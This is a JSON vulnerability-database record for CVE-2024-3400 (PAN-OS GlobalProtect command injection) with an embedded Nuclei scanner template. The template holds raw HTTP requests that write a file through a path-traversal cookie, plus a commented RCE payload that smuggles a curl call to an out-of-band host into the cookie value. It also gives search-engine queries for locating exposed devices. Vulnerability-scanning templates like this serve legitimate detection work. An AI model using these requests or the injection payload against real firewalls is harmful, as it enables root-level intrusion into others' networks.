{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-3400/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-3400/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-3400/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-3400/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-3400/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-3400"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-3400"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-3400.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-3400\n\ninfo:\n  name: GlobalProtect - OS Command Injection\n  author: salts,parthmalhotra\n  severity: critical\n  description: |\n    A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code with root privileges on Palo Alto Networks PAN-OS firewalls.\n  remediation: |\n    Apply security patches for PAN-OS addressing CVE-2024-3400.\n  reference:\n    - https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-CVE-2024-3400/\n    - https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-3400\n    - https://github.com/zam89/CVE-2024-3400-pot\n    - https://github.com/ZephrFish/CVE-2024-3400-Canary\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2024-3400\n    cwe-id: CWE-20,CWE-77\n    epss-score: 0.99999\n    epss-percentile: 1\n    cpe: cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:-:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: paloaltonetworks\n    product: \"pan-os\"\n    shodan-query:\n      - \"http.favicon.hash:-631559155\"\n      - http.favicon.hash:\"-631559155\"\n      - cpe:\"cpe:2.3:o:paloaltonetworks:pan-os\"\n    fofa-query: \"icon_hash=\\\"-631559155\\\"\"\n  tags: cve,cve2024,globalprotect,pan-os,rce,oast,kev,intrusive,paloaltonetworks,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        POST /ssl-vpn/hipreport.esp HTTP/1.1\n        Host: {{Hostname}}\n        Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{{randstr}}.txt;\n        Content-Type: application/x-www-form-urlencoded\n\n        user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global\n      - |\n        GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1\n        Host: {{Hostname}}\n\n      # Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}{{interactsh-url}}`; payload for rce, requires cronjob to be executed to run command\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code_1 == 404 && status_code_3 == 403\n          - contains(body_2, 'invalid required input parameters')\n        condition: and\n# digest: 4a0a00473045022100ddc41a51983e70a1a9d5fa3fec147372065672a3864e81ccbac38f081bb3556b0220675a0c86d2db70f81fdd4364bb990b9b9a636fdf27ec9426fd1ec7d105907293:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-3400"
}